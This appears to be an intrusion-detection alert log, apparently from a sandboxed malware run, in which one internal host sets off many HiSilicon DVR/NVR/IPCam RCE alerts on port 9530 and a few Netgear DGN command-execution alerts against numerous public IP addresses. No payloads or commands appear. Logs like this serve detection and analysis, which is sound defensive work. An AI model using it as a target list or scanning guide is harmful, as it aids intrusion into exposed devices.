05/16/24-16:39:16.609825	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43174	9530	192.168.2.23	41.77.136.232
05/16/24-16:39:16.603143	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47862	9530	192.168.2.23	1.47.4.159
05/16/24-16:39:16.603143	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47862	9530	192.168.2.23	1.47.4.159
05/16/24-16:39:02.743872	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48596	9530	192.168.2.23	146.15.253.142
05/16/24-16:38:55.206796	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58740	9530	192.168.2.23	213.208.147.73
05/16/24-16:39:12.406005	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36358	9530	192.168.2.23	161.162.162.178
05/16/24-16:39:12.406005	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36358	9530	192.168.2.23	161.162.162.178
05/16/24-16:38:55.198247	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49604	9530	192.168.2.23	161.212.154.235
05/16/24-16:38:55.198247	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49604	9530	192.168.2.23	161.212.154.235
05/16/24-16:39:13.634198	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	50716	80	192.168.2.23	90.26.101.166
05/16/24-16:39:12.304145	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44060	9530	192.168.2.23	110.18.138.254
05/16/24-16:39:12.304145	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44060	9530	192.168.2.23	110.18.138.254
05/16/24-16:39:12.378533	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35982	9530	192.168.2.23	23.149.71.6
05/16/24-16:39:03.263653	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43404	9530	192.168.2.23	181.193.233.243
05/16/24-16:39:03.263653	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43404	9530	192.168.2.23	181.193.233.243
05/16/24-16:39:12.378533	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35982	9530	192.168.2.23	23.149.71.6
05/16/24-16:39:13.656949	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	42650	80	192.168.2.23	66.53.197.168
05/16/24-16:39:08.126457	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33528	9530	192.168.2.23	171.12.152.85
05/16/24-16:39:05.675988	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42730	9530	192.168.2.23	160.189.205.45
05/16/24-16:39:05.675988	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42730	9530	192.168.2.23	160.189.205.45
05/16/24-16:39:08.126457	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33528	9530	192.168.2.23	171.12.152.85
05/16/24-16:38:57.434382	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37478	9530	192.168.2.23	58.9.120.12
05/16/24-16:38:57.434382	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37478	9530	192.168.2.23	58.9.120.12
05/16/24-16:39:02.764183	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48968	9530	192.168.2.23	147.157.68.101
05/16/24-16:39:05.709492	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48954	9530	192.168.2.23	193.51.38.90
05/16/24-16:39:05.709492	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48954	9530	192.168.2.23	193.51.38.90
05/16/24-16:38:59.592940	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56350	9530	192.168.2.23	142.207.101.43
05/16/24-16:39:12.380665	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33208	9530	192.168.2.23	92.145.23.97
05/16/24-16:38:59.592940	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56350	9530	192.168.2.23	142.207.101.43
05/16/24-16:39:14.494693	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33660	9530	192.168.2.23	181.134.163.67
05/16/24-16:39:14.494693	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33660	9530	192.168.2.23	181.134.163.67
05/16/24-16:39:12.380665	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33208	9530	192.168.2.23	92.145.23.97
05/16/24-16:39:05.704126	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44566	9530	192.168.2.23	104.115.170.137
05/16/24-16:39:05.704126	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44566	9530	192.168.2.23	104.115.170.137
05/16/24-16:39:16.612742	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58960	9530	192.168.2.23	17.9.227.169
05/16/24-16:39:05.677803	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54594	9530	192.168.2.23	216.160.195.204
05/16/24-16:39:16.612742	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58960	9530	192.168.2.23	17.9.227.169
05/16/24-16:39:05.677803	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54594	9530	192.168.2.23	216.160.195.204
05/16/24-16:39:16.580372	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46742	9530	192.168.2.23	164.179.184.87
05/16/24-16:39:16.580372	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46742	9530	192.168.2.23	164.179.184.87
05/16/24-16:39:08.127197	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59960	9530	192.168.2.23	213.67.107.242
05/16/24-16:39:08.127197	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59960	9530	192.168.2.23	213.67.107.242
05/16/24-16:38:50.069049	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37116	9530	192.168.2.23	112.112.40.227
05/16/24-16:38:50.069049	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37116	9530	192.168.2.23	112.112.40.227
05/16/24-16:38:53.066972	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33970	9530	192.168.2.23	39.165.241.46
05/16/24-16:38:53.066972	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33970	9530	192.168.2.23	39.165.241.46
05/16/24-16:39:12.304173	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44756	9530	192.168.2.23	144.225.86.36
05/16/24-16:39:12.304173	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44756	9530	192.168.2.23	144.225.86.36
05/16/24-16:38:59.590304	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37758	9530	192.168.2.23	122.32.137.89
05/16/24-16:38:59.590304	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37758	9530	192.168.2.23	122.32.137.89
05/16/24-16:39:05.706160	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48918	9530	192.168.2.23	193.159.246.168
05/16/24-16:39:05.706160	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48918	9530	192.168.2.23	193.159.246.168
05/16/24-16:39:02.725512	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49928	9530	192.168.2.23	27.65.101.27
05/16/24-16:39:02.725512	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49928	9530	192.168.2.23	27.65.101.27
05/16/24-16:39:05.717201	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37826	9530	192.168.2.23	179.175.99.67
05/16/24-16:39:05.717201	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37826	9530	192.168.2.23	179.175.99.67
05/16/24-16:39:14.511921	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52630	9530	192.168.2.23	49.114.21.235
05/16/24-16:39:16.599074	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54996	9530	192.168.2.23	74.172.228.181
05/16/24-16:39:14.511921	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52630	9530	192.168.2.23	49.114.21.235
05/16/24-16:39:14.518773	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43254	9530	192.168.2.23	198.89.126.74
05/16/24-16:39:16.599074	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54996	9530	192.168.2.23	74.172.228.181
05/16/24-16:39:14.518773	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43254	9530	192.168.2.23	198.89.126.74
05/16/24-16:39:02.744313	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57040	9530	192.168.2.23	208.116.96.241
05/16/24-16:38:59.604419	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43508	9530	192.168.2.23	189.103.202.209
05/16/24-16:39:02.744313	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57040	9530	192.168.2.23	208.116.96.241
05/16/24-16:38:59.604419	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43508	9530	192.168.2.23	189.103.202.209
05/16/24-16:38:57.411445	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49160	9530	192.168.2.23	150.100.148.49
05/16/24-16:38:57.411445	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49160	9530	192.168.2.23	150.100.148.49
05/16/24-16:39:16.599077	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59914	9530	192.168.2.23	107.20.21.97
05/16/24-16:39:16.599077	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59914	9530	192.168.2.23	107.20.21.97
05/16/24-16:38:59.588239	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57630	9530	192.168.2.23	160.37.212.57
05/16/24-16:38:59.588239	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57630	9530	192.168.2.23	160.37.212.57
05/16/24-16:39:12.382155	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58100	9530	192.168.2.23	167.105.156.171
05/16/24-16:39:12.382155	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58100	9530	192.168.2.23	167.105.156.171
05/16/24-16:38:59.518422	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53274	9530	192.168.2.23	179.222.180.116
05/16/24-16:38:59.518422	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53274	9530	192.168.2.23	179.222.180.116
05/16/24-16:38:59.519331	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39886	9530	192.168.2.23	20.76.192.153
05/16/24-16:38:50.046283	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52680	9530	192.168.2.23	20.120.174.241
05/16/24-16:38:50.046283	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52680	9530	192.168.2.23	20.120.174.241
05/16/24-16:38:50.081740	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58672	9530	192.168.2.23	138.183.131.103
05/16/24-16:38:50.081740	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58672	9530	192.168.2.23	138.183.131.103
05/16/24-16:38:50.078892	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34660	9530	192.168.2.23	218.17.96.200
05/16/24-16:38:50.078892	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34660	9530	192.168.2.23	218.17.96.200
05/16/24-16:38:55.193114	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53168	9530	192.168.2.23	199.9.251.86
05/16/24-16:38:55.193114	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53168	9530	192.168.2.23	199.9.251.86
05/16/24-16:38:57.429271	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53032	9530	192.168.2.23	66.218.62.100
05/16/24-16:38:57.429271	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53032	9530	192.168.2.23	66.218.62.100
05/16/24-16:39:05.704075	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47112	9530	192.168.2.23	61.48.68.37
05/16/24-16:39:05.704075	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47112	9530	192.168.2.23	61.48.68.37
05/16/24-16:39:02.745540	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38130	9530	192.168.2.23	68.214.121.155
05/16/24-16:39:02.745540	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38130	9530	192.168.2.23	68.214.121.155
05/16/24-16:39:16.609437	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40850	9530	192.168.2.23	209.204.223.49
05/16/24-16:38:55.220926	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34376	9530	192.168.2.23	199.40.146.214
05/16/24-16:38:55.220926	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34376	9530	192.168.2.23	199.40.146.214
05/16/24-16:38:59.519331	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39886	9530	192.168.2.23	20.76.192.153
05/16/24-16:39:16.602142	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36178	9530	192.168.2.23	116.218.120.198
05/16/24-16:39:16.609437	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40850	9530	192.168.2.23	209.204.223.49
05/16/24-16:39:14.493618	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46844	9530	192.168.2.23	195.233.103.90
05/16/24-16:39:16.602142	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36178	9530	192.168.2.23	116.218.120.198
05/16/24-16:38:57.304746	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45560	9530	192.168.2.23	109.132.149.146
05/16/24-16:39:14.493618	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46844	9530	192.168.2.23	195.233.103.90
05/16/24-16:38:57.304746	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45560	9530	192.168.2.23	109.132.149.146
05/16/24-16:38:49.282376	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	40108	80	192.168.2.23	178.43.10.146
05/16/24-16:39:08.145192	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59318	9530	192.168.2.23	76.138.138.45
05/16/24-16:39:12.301203	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40578	9530	192.168.2.23	159.164.43.160
05/16/24-16:39:08.145192	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59318	9530	192.168.2.23	76.138.138.45
05/16/24-16:39:12.301203	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40578	9530	192.168.2.23	159.164.43.160
05/16/24-16:38:50.047560	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37472	9530	192.168.2.23	189.148.134.203
05/16/24-16:39:05.699889	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57376	9530	192.168.2.23	212.158.241.91
05/16/24-16:38:50.047560	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37472	9530	192.168.2.23	189.148.134.203
05/16/24-16:38:57.425693	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47918	9530	192.168.2.23	72.234.98.206
05/16/24-16:39:05.699889	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57376	9530	192.168.2.23	212.158.241.91
05/16/24-16:38:57.425693	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47918	9530	192.168.2.23	72.234.98.206
05/16/24-16:38:50.047739	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43588	9530	192.168.2.23	111.221.110.98
05/16/24-16:38:50.047739	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43588	9530	192.168.2.23	111.221.110.98
05/16/24-16:39:08.041239	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47494	9530	192.168.2.23	110.249.227.159
05/16/24-16:39:08.041239	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47494	9530	192.168.2.23	110.249.227.159
05/16/24-16:38:59.519446	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42106	9530	192.168.2.23	54.157.72.27
05/16/24-16:39:08.126447	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60782	9530	192.168.2.23	132.243.172.92
05/16/24-16:38:59.519446	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42106	9530	192.168.2.23	54.157.72.27
05/16/24-16:39:08.126447	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60782	9530	192.168.2.23	132.243.172.92
05/16/24-16:38:50.076378	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51212	9530	192.168.2.23	12.26.167.86
05/16/24-16:39:03.260892	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36794	9530	192.168.2.23	44.184.163.4
05/16/24-16:39:03.260892	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36794	9530	192.168.2.23	44.184.163.4
05/16/24-16:38:50.076378	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51212	9530	192.168.2.23	12.26.167.86
05/16/24-16:39:16.597913	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60160	9530	192.168.2.23	99.163.25.158
05/16/24-16:39:13.663775	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	58096	80	192.168.2.23	84.237.126.186
05/16/24-16:39:16.597913	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60160	9530	192.168.2.23	99.163.25.158
05/16/24-16:38:57.411446	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47686	9530	192.168.2.23	4.220.127.242
05/16/24-16:38:57.411446	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47686	9530	192.168.2.23	4.220.127.242
05/16/24-16:38:57.409011	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38666	9530	192.168.2.23	158.91.93.196
05/16/24-16:38:57.409011	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38666	9530	192.168.2.23	158.91.93.196
05/16/24-16:39:14.507459	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56722	9530	192.168.2.23	145.46.132.189
05/16/24-16:39:16.602044	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34930	9530	192.168.2.23	151.236.1.153
05/16/24-16:39:14.507459	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56722	9530	192.168.2.23	145.46.132.189
05/16/24-16:39:16.602044	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34930	9530	192.168.2.23	151.236.1.153
05/16/24-16:39:12.382801	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50338	9530	192.168.2.23	23.94.202.245
05/16/24-16:39:12.382801	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50338	9530	192.168.2.23	23.94.202.245
05/16/24-16:39:05.678472	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33944	9530	192.168.2.23	82.106.53.20
05/16/24-16:39:05.678472	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33944	9530	192.168.2.23	82.106.53.20
05/16/24-16:39:02.727969	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56558	9530	192.168.2.23	38.47.104.206
05/16/24-16:39:14.514864	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52698	9530	192.168.2.23	118.156.206.81
05/16/24-16:39:02.727969	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56558	9530	192.168.2.23	38.47.104.206
05/16/24-16:39:14.514864	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52698	9530	192.168.2.23	118.156.206.81
05/16/24-16:38:55.175100	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46466	9530	192.168.2.23	103.92.34.38
05/16/24-16:38:55.175100	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46466	9530	192.168.2.23	103.92.34.38
05/16/24-16:39:14.492383	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53654	9530	192.168.2.23	110.129.72.226
05/16/24-16:39:05.714930	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53162	9530	192.168.2.23	92.107.244.135
05/16/24-16:39:05.714930	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53162	9530	192.168.2.23	92.107.244.135
05/16/24-16:39:14.492383	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53654	9530	192.168.2.23	110.129.72.226
05/16/24-16:39:05.708222	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35066	9530	192.168.2.23	34.80.139.133
05/16/24-16:39:05.708222	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35066	9530	192.168.2.23	34.80.139.133
05/16/24-16:39:12.377541	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45316	9530	192.168.2.23	221.51.159.169
05/16/24-16:39:12.377541	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45316	9530	192.168.2.23	221.51.159.169
05/16/24-16:38:49.306027	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	47404	80	192.168.2.23	119.61.39.176
05/16/24-16:39:02.746756	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49964	9530	192.168.2.23	81.202.247.120
05/16/24-16:39:02.746756	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49964	9530	192.168.2.23	81.202.247.120
05/16/24-16:38:57.409019	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46682	9530	192.168.2.23	48.99.187.56
05/16/24-16:38:57.409019	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46682	9530	192.168.2.23	48.99.187.56
05/16/24-16:39:16.609800	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59326	9530	192.168.2.23	82.108.249.238
05/16/24-16:39:14.520155	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60040	9530	192.168.2.23	145.47.191.215
05/16/24-16:39:14.520155	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60040	9530	192.168.2.23	145.47.191.215
05/16/24-16:39:03.262305	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60630	9530	192.168.2.23	208.69.26.179
05/16/24-16:39:08.124537	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58414	9530	192.168.2.23	206.12.31.118
05/16/24-16:39:12.401791	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43096	9530	192.168.2.23	5.53.116.151
05/16/24-16:39:03.262305	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60630	9530	192.168.2.23	208.69.26.179
05/16/24-16:39:08.124537	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58414	9530	192.168.2.23	206.12.31.118
05/16/24-16:38:53.011372	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57766	9530	192.168.2.23	91.32.33.30
05/16/24-16:38:53.011372	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57766	9530	192.168.2.23	91.32.33.30
05/16/24-16:39:12.401791	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43096	9530	192.168.2.23	5.53.116.151
05/16/24-16:38:50.063956	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53892	9530	192.168.2.23	96.239.71.49
05/16/24-16:39:12.384446	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57134	9530	192.168.2.23	23.79.9.23
05/16/24-16:38:50.063956	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53892	9530	192.168.2.23	96.239.71.49
05/16/24-16:39:12.384446	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57134	9530	192.168.2.23	23.79.9.23
05/16/24-16:38:50.075703	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38638	9530	192.168.2.23	96.236.208.74
